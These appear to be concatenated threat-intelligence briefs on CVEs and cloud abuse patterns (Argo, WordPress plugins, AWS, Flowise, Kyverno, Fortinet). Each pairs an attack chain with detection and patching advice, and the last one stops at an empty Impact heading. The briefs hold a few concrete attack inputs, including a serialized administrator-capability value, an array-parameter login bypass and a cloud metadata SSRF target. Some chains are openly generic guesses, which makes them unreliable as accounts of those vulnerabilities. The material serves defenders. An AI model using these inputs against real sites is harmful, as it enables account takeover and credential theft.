Attack Chain

1. The attacker identifies an Argo Workflows instance with a publicly accessible /api/v1/events/ endpoint.
2. The attacker crafts an HTTP POST request targeting the /api/v1/events/ endpoint.
3. The attacker sets the Content-Length header of the request to a very large value (e.g., 1GB or more).
4. The attacker sends the malicious request with a large amount of arbitrary data as the request body.
5. The Argo Server receives the request and, within the WebhookInterceptor, calls io.ReadAll(r.Body), allocating memory to store the entire request body.
6. Due to the large request body, the Argo Server’s memory consumption increases significantly.
7. If the attacker sends a sufficiently large request, the Argo Server exhausts its available memory.
8. The Argo Server process crashes due to an Out-Of-Memory (OOM) error, leading to a denial of service.

Impact

Successful exploitation of this vulnerability results in a denial-of-service condition, disrupting workflow execution and API access for all users of the Argo Workflows instance. The Argo Server crashes, making it unavailable until restarted. This impacts service availability and potentially causes data loss if workflows are interrupted during execution. The number of victims depends on the number of Argo Workflows instances exposed and targeted by attackers.

Recommendation

• Enforce a strict limit on webhook body size (e.g., 10MB) using http.MaxBytesReader or similar mechanisms within your ingress controller or reverse proxy to prevent oversized requests from reaching the Argo Server.
• Upgrade Argo Workflows to version 3.7.14 or 4.0.5 or later to patch CVE-2026-42294 and mitigate the risk of denial-of-service attacks.
• Monitor memory usage of the Argo Server process and set up alerts for unusually high memory consumption to detect potential exploitation attempts.

Attack Chain

Since the specific attack chain is not detailed in the source, a generic attack chain is provided based on common web application vulnerabilities:

1. The attacker identifies a vulnerable Grafana instance accessible over the internet.
2. The attacker crafts a malicious HTTP request targeting a vulnerable endpoint in Grafana.
3. This request exploits a Cross-Site Scripting (XSS) vulnerability, injecting malicious JavaScript code.
4. Alternatively, the request exploits an information disclosure vulnerability to access sensitive data.
5. If XSS is successful, a user interacting with Grafana executes the injected JavaScript.
6. The malicious script can steal user credentials, session tokens, or other sensitive data.
7. The attacker uses the stolen credentials to gain unauthorized access to Grafana.
8. The attacker exfiltrates sensitive information or performs other malicious actions within the Grafana instance.

Impact

Successful exploitation of these vulnerabilities can lead to the compromise of sensitive information, including user credentials, API keys, and internal system details. An attacker could leverage XSS to manipulate Grafana dashboards, inject malicious content, or redirect users to phishing sites. Information disclosure could expose sensitive configuration data or metrics, potentially leading to further attacks. The number of affected Grafana instances is currently unknown, but any publicly accessible instance is potentially at risk.

Recommendation

• Deploy the Sigma rule Grafana Suspicious URI Activity to detect potential exploitation attempts targeting Grafana instances via unusual URL patterns (log source: webserver).
• Enable and review webserver logs for Grafana instances to identify suspicious activity, specifically cs-uri-query and cs-uri-stem (log source: webserver).
• Implement a web application firewall (WAF) to filter out malicious requests and protect against common web application attacks, including XSS (log source: firewall).
• Upgrade Grafana to the latest version as soon as security patches are available to address the identified vulnerabilities (affected_products: Grafana).

Attack Chain

1. An administrator imports a CSV file containing multisite-prefixed capability column headers (e.g., wp_2_capabilities) using the affected plugin.
2. The administrator enables the “Show fields in profile?” option within the plugin settings. This action stores the imported column headers (including the multisite capabilities) in the acui_columns option.
3. A low-privileged user (e.g., Subscriber) authenticates to the WordPress subsite.
4. The attacker navigates to their user profile page (/wp-admin/profile.php). The plugin displays the previously imported multisite capability fields as editable options on the profile page.
5. The attacker crafts a profile update request, setting the value of the wp_{subsite_id}_capabilities meta key to a:1:{s:13:"administrator";b:1;} which grants administrator privileges.
6. The attacker submits the crafted profile update to /wp-admin/profile.php.
7. The save_extra_user_profile_fields() function processes the update. Due to the incomplete blocklist, the function fails to prevent the modification of the wp_{subsite_id}_capabilities meta key.
8. The update_user_meta() function writes the attacker-controlled value directly to the user’s metadata, granting them Administrator privileges on the specified subsite.

Impact

Successful exploitation of CVE-2026-7641 allows an attacker to gain complete control over a WordPress subsite within a Multisite network. This can lead to unauthorized access to sensitive data, modification of website content, installation of malicious plugins or themes, and potential compromise of the entire Multisite network. Given the widespread use of WordPress and the Import and export users and customers plugin, a successful attack can have significant repercussions for affected organizations.

Recommendation

• Upgrade the Import and export users and customers plugin to the latest version to patch CVE-2026-7641.
• Apply the Sigma rule WordPress Multisite Privilege Escalation via Profile Update to detect exploitation attempts against /wp-admin/profile.php.
• Review the acui_columns option in the WordPress database to identify any instances where multisite-prefixed capability column headers have been imported, and remove those fields.
• Monitor WordPress user profile updates for unusual modifications to user capabilities using the WordPress User Role Change Detection rule.

Attack Chain

1. Attacker gains access to valid AWS credentials or IAM role with ssm:StartSession permissions.
2. Attacker initiates an SSM session to a target EC2 instance or hybrid node using the compromised credentials.
3. The ssm-session-worker process is started on the target instance to manage the interactive session.
4. Attacker executes commands within the session, spawning child processes from the ssm-session-worker process.
5. Attacker may use scripting languages such as PowerShell or Bash to execute malicious code (e.g., using awsrunPowerShellScript or awsrunShellScript).
6. These scripts perform reconnaissance, download additional tools, or attempt credential access.
7. Attacker moves laterally to other instances or resources within the AWS environment.
8. The ultimate objective is often data exfiltration, privilege escalation, or maintaining persistent access.

Impact

Successful exploitation can lead to unauthorized access to sensitive data, compromise of critical systems, and lateral movement within the AWS environment. The impact can range from data breaches to complete control of the compromised infrastructure. The number of affected systems depends on the scope of the compromised credentials and the attacker’s ability to move laterally. Organizations using AWS SSM are at risk.

Recommendation

• Deploy the Sigma rules in this brief to your SIEM and tune for your environment to detect suspicious child processes spawned by ssm-session-worker.
• Correlate process activity with AWS CloudTrail logs for StartSession and related API calls to identify the IAM principal initiating the session (see the overview section for API names).
• Implement strict IAM policies and regularly review AWS credentials to minimize the risk of credential compromise.
• Monitor process.command_line, process.executable, process.user.name for unusual activity within SSM sessions.

Attack Chain

1. An attacker gains unauthorized access to an EC2 instance through methods like exploiting a Server-Side Request Forgery (SSRF) vulnerability, compromising application code or exploiting IMDS abuse.
2. The attacker leverages the instance’s IAM role to obtain temporary AWS credentials.
3. The attacker attempts to validate the stolen credentials using the GetCallerIdentity API call.
4. The GetCallerIdentity API call originates from an IP address associated with a new and unexpected Autonomous System Organization (ASO).
5. The AWS CloudTrail logs record the GetCallerIdentity event, including the user identity ARN and the source AS organization name.
6. The detection rule triggers due to the new combination of user identity and source AS organization.
7. The attacker uses the validated credentials to perform reconnaissance and identify valuable resources within the AWS environment (e.g., S3 buckets, databases).
8. The attacker attempts to exfiltrate sensitive data or deploy malicious workloads using the stolen credentials.

Impact

A successful attack can lead to unauthorized access to sensitive data stored within the AWS environment. The attacker may be able to escalate privileges, compromise other resources, and disrupt services. The potential impact includes data breaches, financial loss, and reputational damage. The lack of specific victim counts or sectors targeted suggests a broad applicability across various AWS users.

Recommendation

• Deploy the Sigma rule “AWS EC2 Role GetCallerIdentity from New Source AS Organization” to your SIEM to detect suspicious activity.
• Investigate alerts triggered by the Sigma rule, focusing on the aws.cloudtrail.user_identity.arn and source.as.organization.name fields.
• Monitor AWS CloudTrail logs for GetCallerIdentity API calls, particularly those originating from unfamiliar source IP addresses and ASNs.
• Revoke compromised IAM role sessions by stopping the affected EC2 instances or removing the role from the instance profile.
• Rotate any long-lived secrets accessible by the EC2 instance, based on the aws.cloudtrail.user_identity.access_key_id.

Attack Chain

1. An attacker gains unauthorized access to AWS credentials, possibly through compromised credentials or misconfigured IAM roles.
2. The attacker initiates a VPN connection to mask their origin and evade geographic restrictions or monitoring. The VPN endpoint’s ASN belongs to a known VPN provider.
3. Using the compromised credentials and VPN connection, the attacker calls the AWS API to execute GetCallerIdentity to validate access.
4. The attacker enumerates IAM users and roles using ListUsers and ListRoles to map out the AWS environment’s identity landscape.
5. The attacker inventories S3 buckets using ListBuckets to identify potential targets for data exfiltration or manipulation.
6. The attacker gathers information about EC2 instances, VPCs, and security groups using DescribeInstances, DescribeVpcs, and DescribeSecurityGroups to understand the network infrastructure.
7. The attacker lists available Lambda functions using ListFunctions to discover potential code execution opportunities.
8. The attacker collects logging configurations by calling DescribeTrails to identify logging gaps.

Impact

A successful attack leveraging these discovery techniques can lead to unauthorized access to sensitive data, privilege escalation, and lateral movement within the AWS environment. By mapping out the cloud infrastructure, attackers can identify vulnerabilities and misconfigurations to exploit. Compromised AWS environments can result in data breaches, service disruptions, and financial losses.

Recommendation

• Deploy the Sigma rule AWS Discovery API Calls from VPN ASN by New Identity to detect anomalous discovery activity originating from VPN ASNs.
• Review the curated list of VPN-oriented ASNs within the rule query and update it with local intelligence from sources like RIPE, BGPView, or PeeringDB.
• Enable AWS CloudTrail logs to capture the necessary event data for the Sigma rule to function effectively.
• Tune the Sigma rule’s event.action filter to include additional discovery-related API calls relevant to your environment, based on baseline analysis.
• Investigate alerts generated by the Sigma rule by examining aws.cloudtrail.user_identity.arn, event.action, event.provider, source.ip, and source.as.organization.name.
• Implement automated response actions, such as revoking sessions or rotating keys, when unexpected discovery activity is detected from VPN ASNs.

Attack Chain

1. Initial Access: An attacker gains access to an AWS environment, potentially through compromised credentials or by compromising an EC2 instance.
2. Credential Usage: The attacker leverages the AWS CLI to interact with the AWS environment using the compromised credentials.
3. Reconnaissance: The attacker initiates a series of discovery API calls to gather information about the AWS infrastructure. This includes using Describe*, List*, Get*, and Generate* commands.
4. Resource Enumeration: The attacker enumerates various AWS resources, including EC2 instances, IAM roles, S3 buckets, and KMS keys, by querying their respective APIs.
5. Target Identification: The attacker analyzes the gathered information to identify potential targets for further exploitation, such as vulnerable EC2 instances or misconfigured S3 buckets.
6. Privilege Escalation (Optional): If the compromised credentials have limited permissions, the attacker might attempt to escalate privileges to gain broader access to the AWS environment.
7. Lateral Movement (Optional): The attacker might attempt to move laterally to other AWS accounts or services to expand their reach and impact.
8. Data Exfiltration/Impact: Based on the attacker’s goals, they may attempt to exfiltrate sensitive data or cause disruption by modifying or deleting resources.

Impact

Successful exploitation could lead to unauthorized access to sensitive data, such as customer information, intellectual property, or financial records. The attacker could also disrupt business operations by modifying or deleting critical resources. Identifying and responding to such activity in a timely manner can help prevent significant damage and maintain the security and integrity of the AWS environment.

Recommendation

• Deploy the following Sigma rule to your SIEM and tune for your environment to detect the described reconnaissance activity.
• Enable AWS CloudTrail logging for all AWS regions and accounts in your organization to ensure the required logs are available for detection.
• Investigate any alerts generated by the Sigma rule, focusing on identifying the affected AWS identity, the source IP address, and the specific API calls made (as captured by the Sigma rule).
• If suspicious activity is confirmed, follow AWS’s incident-handling guidance, including disabling or rotating the access key used and restricting outbound connectivity from the source (reference the AWS Security Incident Response Guide).

Attack Chain

1. An unauthenticated attacker identifies a WordPress site using the vulnerable Temporary Login plugin (version <= 1.0.0).
2. The attacker crafts a malicious GET request targeting the WordPress site’s login endpoint, including the ’temp-login-token’ parameter as an array (e.g., temp-login-token[]=).
3. The web server receives the GET request.
4. The maybe_login_temporary_user() function processes the request.
5. Due to improper input validation, the empty() check is bypassed when the ’temp-login-token’ parameter is an array.
6. sanitize_key() processes the array and returns an empty string as the meta_value.
7. WordPress executes a database query using the empty meta_value, effectively retrieving all users with active temporary login tokens.
8. The attacker is granted unauthorized access to the account of a targeted temporary user, bypassing normal authentication procedures.

Impact

Successful exploitation of CVE-2026-7567 allows unauthenticated attackers to bypass login restrictions and gain unauthorized access to WordPress user accounts utilizing the vulnerable Temporary Login plugin. The severity is high, as it allows complete compromise of user accounts without requiring any valid credentials. The impact includes potential data theft, account takeover, website defacement, and other malicious activities, depending on the privileges of the compromised user account.

Recommendation

• Apply the available patch or upgrade the Temporary Login plugin to a version greater than 1.0.0 to remediate CVE-2026-7567.
• Deploy the Sigma rule Detect WordPress Temporary Login Authentication Bypass Attempt to detect exploitation attempts by monitoring HTTP requests with array-based temp-login-token parameters in the query string.
• Implement input validation on the web server to reject requests containing array-based parameters where scalar strings are expected.

Attack Chain

1. The attacker identifies a target system running Rclone with the RC API enabled.
2. The attacker verifies the RC API is exposed on a reachable network address (e.g., not only localhost) and is not protected by HTTP authentication.
3. For CVE-2026-41179, the attacker sends a single crafted HTTP request to the RC endpoint, leveraging the WebDAV backend initialization process.
4. This crafted request triggers the execution of arbitrary commands on the target system without authentication.
5. For CVE-2026-41176, the attacker bypasses authentication controls to access sensitive administrative functionality.
6. The attacker manipulates Rclone configuration or invokes operational RC methods to execute arbitrary commands.
7. The attacker gains local file read/write access, potentially stealing sensitive data or uploading malicious payloads.
8. The attacker achieves full system compromise, enabling data theft, lateral movement within the network, or denial of service.

Impact

Successful exploitation of CVE-2026-41176 and CVE-2026-41179 can lead to full system compromise, data theft, lateral movement, or denial of service. Specifically, attackers can achieve local file read, file write, or shell access, depending on the environment. The impact includes potential exposure of sensitive cloud data and configurations, which could compromise the integrity and confidentiality of stored information. Given Rclone’s popularity among organizations managing cloud storage, a successful attack could affect a large number of victims across various sectors.

Recommendation

• Upgrade Rclone to version 1.73.5 or later to patch CVE-2026-41176 and CVE-2026-41179 as recommended by the vendor.
• Enable global HTTP authentication on RC servers using --rc-user, --rc-pass, or --rc-htpasswd to mitigate the unauthenticated access, as mentioned in the description of the vulnerabilities.
• Implement network-level controls (e.g., firewall rules) to restrict access to RC server endpoints and the RC service, as suggested by CCB.
• Deploy the Sigma rule “Detect Rclone RC API Access Without Authentication” to identify potentially vulnerable Rclone instances within your environment.

Attack Chain

Since the advisory lacks specifics, we will describe a generalized attack chain based on the potential vulnerabilities:

1. Initial Access: The attacker gains initial access to a target environment, possibly through compromised credentials or a separate vulnerability.
2. Privilege Escalation: The attacker exploits a vulnerability within one of the Microsoft cloud products (Azure, Microsoft 365 Copilot, Dynamics 365, or Power Apps) to elevate their privileges to a higher level, potentially gaining administrative rights.
3. Code Injection: Leveraging the escalated privileges, the attacker injects malicious code into a vulnerable component of the cloud service.
4. Code Execution: The injected code is executed, allowing the attacker to perform arbitrary actions within the context of the compromised service.
5. Lateral Movement: The attacker uses the compromised service as a pivot point to move laterally within the cloud environment, targeting other resources and services.
6. Data Exfiltration/Manipulation: Once established within the environment, the attacker exfiltrates sensitive data or manipulates data for malicious purposes.
7. Spoofing Attacks: The attacker leverages the compromised environment to launch spoofing attacks, potentially targeting other users or systems with phishing emails or other deceptive tactics.
8. Persistence: The attacker establishes persistence within the cloud environment to maintain access even after the initial vulnerability is patched.

Impact

Successful exploitation of these vulnerabilities could have significant consequences, including unauthorized access to sensitive data, disruption of critical business processes, and financial losses. The number of potential victims is substantial, given the widespread use of Microsoft cloud services across various sectors. A successful attack could result in data breaches, service outages, and reputational damage.

Recommendation

• Monitor logs from Microsoft Azure, Microsoft 365 Copilot, Microsoft Dynamics 365, and Microsoft Power Apps for suspicious activity indicative of privilege escalation, code execution, and spoofing attacks.
• Enable and review audit logs within the affected Microsoft cloud services to identify anomalous user behavior and potential security breaches.
• Deploy the Sigma rules provided in this brief to your SIEM and tune them for your specific environment to detect potential exploitation attempts.
• Follow Microsoft’s official security advisories and apply any available patches or mitigations as soon as they are released.

Attack Chain

1. An attacker gains unauthorized access to a GitHub repository or organization with AWS credentials stored as secrets.
2. The attacker exfiltrates the AWS access key ID and secret access key, either manually or through automated means, such as modifying a GitHub Action workflow to expose the secrets.
3. The attacker configures the stolen AWS credentials on their own infrastructure, using tools like the AWS CLI or boto3.
4. The attacker attempts to authenticate to AWS using the stolen credentials. This generates CloudTrail logs with the attacker’s source IP address and ASN.
5. The attacker performs reconnaissance activities, such as calling sts:GetCallerIdentity, ListBuckets, DescribeInstances, or ListUsers, to understand the AWS environment and identify potential targets.
6. The attacker attempts to escalate privileges or move laterally within the AWS environment by exploiting the compromised credentials.
7. The attacker may create, modify, or delete AWS resources, such as EC2 instances, S3 buckets, or IAM roles, depending on the permissions associated with the stolen credentials.

Impact

Successful exploitation leads to unauthorized access to AWS resources, potentially resulting in data breaches, service disruptions, or financial losses. The impact depends on the permissions associated with the stolen AWS credentials. A single compromised credential could expose sensitive data, disrupt critical services, or allow attackers to deploy malicious infrastructure within the victim’s AWS environment. Identifying and responding to this threat quickly is vital to minimize damages.

Recommendation

• Deploy the Sigma rule “AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure” to your SIEM and tune for your environment to detect suspicious usage patterns.
• Rotate the compromised AWS access key in IAM immediately and update the corresponding GitHub repository/organization secret as described in the rule documentation.
• Implement OIDC-based authentication (aws-actions/configure-aws-credentials with role-to-assume) instead of long-lived access keys as mentioned in the rule documentation.
• If using OIDC, add IP condition policies to the IAM role trust policy to restrict AssumeRoleWithWebIdentity to known GitHub runner IP ranges, based on the information in the rule documentation.

Attack Chain

1. An attacker crafts a malicious payload containing a SpEL expression.
2. This payload is submitted to the Echo service via a network request, likely through a specifically crafted API call involving expected artifacts.
3. The Echo service processes the request and evaluates the malicious SpEL expression without proper context restrictions.
4. The SpEL expression leverages Java classes to bypass security controls and gain access to underlying system resources.
5. The attacker uses the unrestricted JVM access to execute arbitrary commands on the server.
6. Successful command execution allows the attacker to read and write files on the system.
7. The attacker leverages file access to obtain sensitive information such as credentials or configuration files.
8. The attacker uses the compromised system to move laterally within the Spinnaker environment or target connected cloud resources. The final objective is likely complete control over the Spinnaker deployment and its connected infrastructure.

Impact

Successful exploitation of this vulnerability allows for arbitrary code execution on the Spinnaker server. This can lead to complete system compromise, allowing attackers to steal sensitive data, disrupt continuous delivery pipelines, and potentially gain access to connected cloud environments. Due to the critical nature of Spinnaker in managing deployments, a successful attack could severely impact an organization’s ability to deploy and maintain applications, potentially leading to significant financial and reputational damage.

Recommendation

• Upgrade Spinnaker instances to versions 2026.1.0, 2026.0.1, 2025.4.2, or 2025.3.2 to patch CVE-2026-32613.
• As a temporary workaround, disable the Echo service entirely until the upgrade can be performed, referencing the vendor documentation for disabling specific Spinnaker services.
• Monitor web server logs for unusual HTTP requests to the Echo service endpoints, specifically looking for suspicious patterns or attempts to inject SpEL expressions, using the Sigma rule provided below.

Attack Chain

1. The attacker identifies a vulnerable CISCO Webex instance running a version between 39.6 and 45.4.
2. The attacker crafts a malicious token designed to exploit the improper certificate validation flaw in the SSO with Control Hub.
3. The attacker connects to a Webex service endpoint, presenting the crafted token.
4. The vulnerable Webex instance fails to properly validate the certificate associated with the token.
5. The attacker is authenticated as a targeted user without providing valid credentials.
6. The attacker gains unauthorized access to the targeted user’s sensitive information, including meeting schedules, contact lists, and potentially recorded meetings.
7. The attacker joins Webex meetings without authorization, potentially eavesdropping on confidential conversations or disrupting the meeting.
8. The attacker escalates privileges within the Webex environment by leveraging the compromised user’s access rights, potentially gaining administrative control.

Impact

Successful exploitation of CVE-2026-20184 can lead to severe consequences. Attackers can impersonate any user within the Webex service, gaining unauthorized access to confidential meetings, sensitive data, and internal communications. This can result in a breach of confidentiality, integrity, and availability, potentially leading to significant financial losses, reputational damage, and legal liabilities. The number of affected organizations could be substantial given Webex’s widespread use across various sectors.

Recommendation

• Immediately patch all CISCO Webex installations to a version beyond 45.4 to remediate CVE-2026-20184 (Reference: CISCO Security Advisory).
• Upscale monitoring and detection capabilities to identify any suspicious activity related to unauthorized access attempts within the CISCO Webex environment, as recommended by the CCB (Reference: CCB Advisory).
• Implement the provided Sigma rule to detect suspicious authentication patterns indicative of exploitation attempts against Webex (Reference: Sigma rule - “Webex Suspicious Authentication Pattern”).
• Enable and review Webex access logs for unusual login attempts or access patterns originating from unexpected locations (Reference: Webex access logs).

Attack Chain

1. The attacker authenticates to a Flowise instance using a valid API key or session.
2. The attacker crafts a malicious JavaScript payload designed to exploit the custom function feature.
3. The malicious payload imports the built-in http module.
4. The payload constructs an HTTP request targeting an internal resource, such as the AWS metadata service at 169.254.169.254.
5. The request includes a header to obtain an IAM token: 'X-aws-ec2-metadata-token-ttl-seconds': '21600'.
6. The payload uses the obtained IAM token to request temporary AWS credentials from the metadata service.
7. The custom function executes the code within the NodeVM sandbox, bypassing the intended SSRF protection.
8. The attacker retrieves the temporary AWS credentials from the metadata service, potentially leading to unauthorized access to AWS resources.

Impact

Successful exploitation of this SSRF vulnerability can have significant consequences. Attackers can steal temporary IAM credentials from cloud provider metadata services, granting them unauthorized access to other cloud resources. Furthermore, they can scan internal networks to discover services and identify additional attack targets. The ability to reach databases, admin panels, and other internal APIs that should not be externally accessible poses a severe security risk, potentially leading to data breaches or system compromise. All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection are vulnerable, while deployments without it are already generally vulnerable to SSRF.

Recommendation

• Apply the necessary patches to Flowise to remediate the SSRF vulnerability as described in GHSA-xhmj-rg95-44hv.
• Deploy the following Sigma rule to detect exploitation attempts involving the http module targeting common cloud metadata endpoints: Flowise SSRF Using HTTP Module.
• Enable logging of HTTP requests originating from the Flowise server to aid in identifying and investigating potential SSRF attacks.
• Review and harden network segmentation to limit the impact of potential SSRF vulnerabilities.
• Consider disabling the custom function feature if it is not essential to the functionality of the Flowise deployment.

Attack Chain

1. Attacker gains network access to the Pyroscope API endpoint, either through public exposure or internal network penetration.
2. Attacker sends a crafted HTTP request to the Pyroscope API endpoint designed to expose configuration details. The specific API endpoint and parameters are not detailed in the source but are assumed to exist for configuration management.
3. The vulnerable Pyroscope API processes the request without proper authorization or input validation.
4. The API retrieves the Tencent COS storage configuration, including the secret_key.
5. The secret_key is inadvertently included in the API response to the attacker.
6. Attacker extracts the secret_key from the API response.
7. Attacker uses the compromised secret_key to authenticate to Tencent COS.
8. Attacker gains unauthorized access to data stored in the Tencent COS bucket associated with the compromised secret_key, potentially leading to data exfiltration, modification, or deletion.

Impact

Successful exploitation of CVE-2025-41118 grants an attacker unauthorized access to the Tencent COS storage backend used by Pyroscope. This access allows the attacker to read, modify, or delete data stored in the cloud storage. The impact depends on the sensitivity of the data stored in Tencent COS. In a worst-case scenario, a complete data breach and service disruption are possible. The number of affected Pyroscope installations is currently unknown.

Recommendation

• Upgrade Pyroscope instances to the patched versions: 1.15.2+, 1.16.1+, or any 1.17.x version to remediate CVE-2025-41118.
• Implement network access controls to restrict access to the Pyroscope API to trusted users or internal systems, mitigating initial access, as suggested in the overview.
• Deploy the Sigma rule Detect Pyroscope Configuration Request to identify potential attempts to access sensitive configuration data via the API.
• Regularly review and audit the configuration of Pyroscope and its storage backends (Tencent COS) to ensure proper security measures are in place.

Attack Chain

1. Attacker authenticates to the Keycloak instance with valid credentials.
2. Attacker identifies a vulnerable input field or parameter within the Keycloak application (e.g., user profile, group name, etc.).
3. Attacker crafts a malicious payload containing JavaScript code.
4. Attacker injects the malicious payload into the vulnerable input field.
5. The Keycloak application stores the malicious payload without proper sanitization.
6. A victim user (e.g., another authenticated user or an administrator) accesses the page containing the injected payload.
7. The victim’s browser executes the malicious JavaScript code.
8. The attacker can then steal cookies, redirect the user to a malicious site, or perform other actions on behalf of the victim.

Impact

Successful exploitation of this XSS vulnerability can lead to several negative consequences. An attacker could potentially steal session cookies, allowing them to impersonate other users, including administrators. This could grant them unauthorized access to sensitive data, configuration settings, and management functions. Furthermore, the attacker could deface the Keycloak interface, inject phishing scams, or redirect users to malicious websites. The number of victims depends on the number of users accessing the page with the injected XSS payload.

Recommendation

• Implement input validation and output encoding to prevent XSS attacks within Keycloak.
• Review Keycloak access logs for suspicious activity related to user profiles and injected scripts.
• Deploy the Sigma rule to detect possible XSS attempts in Keycloak logs.

Attack Chain

1. Attacker gains the ability to create or modify ClusterPolicy objects, potentially by compromising a GitOps repository or controller managing Kyverno policies.
2. Attacker crafts a malicious ClusterPolicy that uses the apiCall or serviceCall feature.
3. The policy specifies a URL for the context.apiCall.service.url that points to an attacker-controlled endpoint designed to capture the incoming request.
4. The crafted policy does not define an explicit Authorization header for the apiCall or serviceCall.
5. When the policy is triggered, Kyverno’s executor.addHTTPHeaders function detects the missing Authorization header.
6. Kyverno reads the service account token from /var/run/secrets/kubernetes.io/serviceaccount/token.
7. Kyverno injects the service account token into the request header as Authorization: Bearer <token>.
8. The request, including the Kyverno service account token, is sent to the attacker-controlled endpoint, allowing the attacker to exfiltrate the token.

Impact

Successful exploitation of this vulnerability results in the exfiltration of the Kyverno controller service account token. The severity of the impact depends on the RBAC roles and permissions assigned to the Kyverno service account within the Kubernetes cluster. With the stolen token, an attacker can perform any action that the Kyverno service account is authorized to perform, potentially leading to cluster-wide compromise, data breaches, or denial-of-service conditions. The number of affected clusters would depend on the number of Kyverno deployments using vulnerable versions.

Recommendation

• Upgrade Kyverno to version 1.17.0 or later to patch the vulnerability (go/github.com/kyverno/kyverno).
• Implement monitoring to detect modifications to ClusterPolicy resources, especially those utilizing apiCall or serviceCall to arbitrary URLs, to quickly identify potentially malicious policy changes.
• Deploy the provided Sigma rule to detect unexpected outbound network connections from the Kyverno pod that may indicate token exfiltration.
• As a workaround, set explicit Authorization headers in all apiCall and serviceCall policies to prevent the implicit token injection (see workarounds).

Attack Chain

1. The attacker identifies a vulnerable FortiAnalyzer or FortiManager Cloud instance running versions 7.6.2-7.6.4.
2. The attacker crafts a malicious HTTP request designed to trigger the heap-based buffer overflow. This involves analyzing the vulnerable application to identify the specific request parameters and data structures that can be manipulated.
3. The attacker sends the crafted request to the targeted Fortinet Cloud instance.
4. Due to the buffer overflow, the crafted request overwrites adjacent memory on the heap, potentially corrupting data structures used by the application.
5. The attacker attempts to leverage the memory corruption to gain control of program execution. Because of ASLR, this step requires careful planning and potentially multiple attempts to bypass address randomization.
6. Upon successful bypass of ASLR, the attacker overwrites a function pointer or other critical data in memory to redirect program control to attacker-controlled code.
7. The attacker executes arbitrary code within the context of the FortiAnalyzer or FortiManager Cloud process.
8. The attacker can now execute commands, potentially gaining unauthorized access to sensitive data, modifying system configurations, or deploying further malicious payloads within the cloud environment.

Impact

Successful exploitation of CVE-2026-22828 can allow a remote, unauthenticated attacker to execute arbitrary code on vulnerable Fortinet FortiAnalyzer Cloud and FortiManager Cloud instances (versions 7.6.2 through 7.6.4). While the effort required is considerable, a successful attack can lead to a complete compromise of the affected system, potentially resulting in data breaches, service disruption, or the deployment of malicious software. The absence of specific victim counts or sector targeting details in the original advisory emphasizes the importance of proactive mitigation.

Recommendation

• Apply available patches or upgrade to a fixed version of Fortinet FortiAnalyzer Cloud and FortiManager Cloud to address CVE-2026-22828 (https://fortiguard.fortinet.com/psirt/FG-IR-26-121).
• Implement network segmentation to limit the potential impact of a successful exploit, as mentioned in the vulnerability description.
• Deploy the Sigma rule “Detect Suspicious HTTP Requests to Fortinet Cloud Services” to identify potential exploitation attempts (see rule below).

Attack Chain

1. Attacker gains low-privileged access to the ZTE ZXEDM iEMS cloud EMS portal.
2. Attacker accesses the user list interface without proper authorization checks.
3. The system improperly grants access to the full user list information.
4. Attacker extracts usernames and associated account details from the user list.
5. Attacker initiates a password reset request for a targeted user account.
6. The system, lacking proper validation, allows the attacker to reset the password.
7. Attacker uses the newly reset password to log in to the targeted user account.
8. Attacker performs unauthorized operations, potentially exfiltrating sensitive data or disrupting services.

Impact

Successful exploitation of CVE-2026-40436 could lead to a complete compromise of the ZTE ZXEDM iEMS system. The ability to reset passwords for any user grants the attacker full control over affected accounts. Depending on the privileges associated with compromised accounts, an attacker could gain access to sensitive configuration data, customer information, or critical infrastructure controls. The lack of specific victim numbers or sectors targeted in the initial report suggests the scope is variable based on deployment. The CVSS score of 7.1 indicates a high potential for confidentiality, integrity, and availability impact.

Recommendation

• Apply the patch or upgrade to the latest version of ZTE ZXEDM iEMS as provided by ZTE to address CVE-2026-40436.
• Implement stricter access control policies on the cloud EMS portal, specifically for the user list acquisition function, and test the effectiveness of the changes.
• Deploy the Sigma rule “Detect Account Password Reset Activity” to identify suspicious password reset activity in the iEMS environment.
• Enable and monitor authentication logs for unauthorized access attempts following password resets to detect potential exploitation.
• Review user account privileges and enforce the principle of least privilege to minimize the impact of potential account compromise.
• Investigate any successful exploitation attempts using the system logs and network traffic to identify the scope of the breach and compromised data.

Attack Chain

1. An attacker gains access to AWS credentials, possibly through compromised credentials or misconfigured IAM roles.
2. The attacker uses the acquired credentials to authenticate to the AWS environment.
3. The attacker executes a script or tool that calls multiple S3 APIs (e.g., GetBucketAcl, GetBucketPolicy) to gather information about S3 buckets.
4. The tool iterates through a list of buckets, querying the configuration of each.
5. The attacker collects the responses from the S3 API calls, mapping out bucket names, permissions, and access control lists.
6. The attacker analyzes the collected data to identify potentially sensitive data or misconfigured buckets.
7. Based on the findings, the attacker may proceed to exfiltrate data from accessible buckets (T1530).
8. The attacker may also attempt to modify bucket policies or access controls to gain further access or persistence.

Impact

Successful reconnaissance of S3 bucket configurations allows attackers to identify vulnerable buckets, potentially leading to data breaches or unauthorized access to sensitive information. The source material does not provide specific victim counts or sectors. However, the impact can range from exposure of confidential data to full compromise of the AWS environment, depending on the level of access gained and the sensitivity of the data stored in the targeted buckets. Identifying the activity early can prevent further exploitation.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect rapid S3 bucket posture API calls (see: “AWS S3 Rapid Bucket Enumeration”).
• Review IAM policies and enforce least privilege on S3 read APIs to limit the scope of potential reconnaissance activities.
• Monitor CloudTrail logs for the same aws.cloudtrail.user_identity.arn and source.ip within approximately ±30 minutes for follow-on patterns such as ListBuckets, GetObject, PutBucketPolicy, or AssumeRole activities (see Overview).
• Rotate or disable keys for the affected identity, revoke active role sessions where possible, and restrict the source IP at the network layer if it is not authorized (see Overview).
• Whitelist approved scanning accounts and tune the Sigma rule to reduce noise from those identities (see Overview).

Attack Chain

1. Attacker creates a new group on the WordPress Multisite network with a Subscriber account.
2. Attacker accesses the group’s settings page.
3. Attacker modifies the groupblog-blogid parameter, setting it to “1” to associate the group with the main site. This is done by crafting a malicious HTTP POST request to the group settings handler.
4. The attacker modifies the default-member parameter to “administrator”. This parameter controls the default role assigned to new members.
5. The attacker enables the groupblog-silent-add parameter. This setting automatically adds new group members to the associated blog (main site) with the specified default role (administrator).
6. Attacker creates a second user account or convinces another user to join their malicious group.
7. When the new user joins the attacker’s group, the groupblog-silent-add setting automatically adds the new user to the main site with the administrator role.
8. The attacker (via the new user account) now has administrator access to the main WordPress Multisite site.

Impact

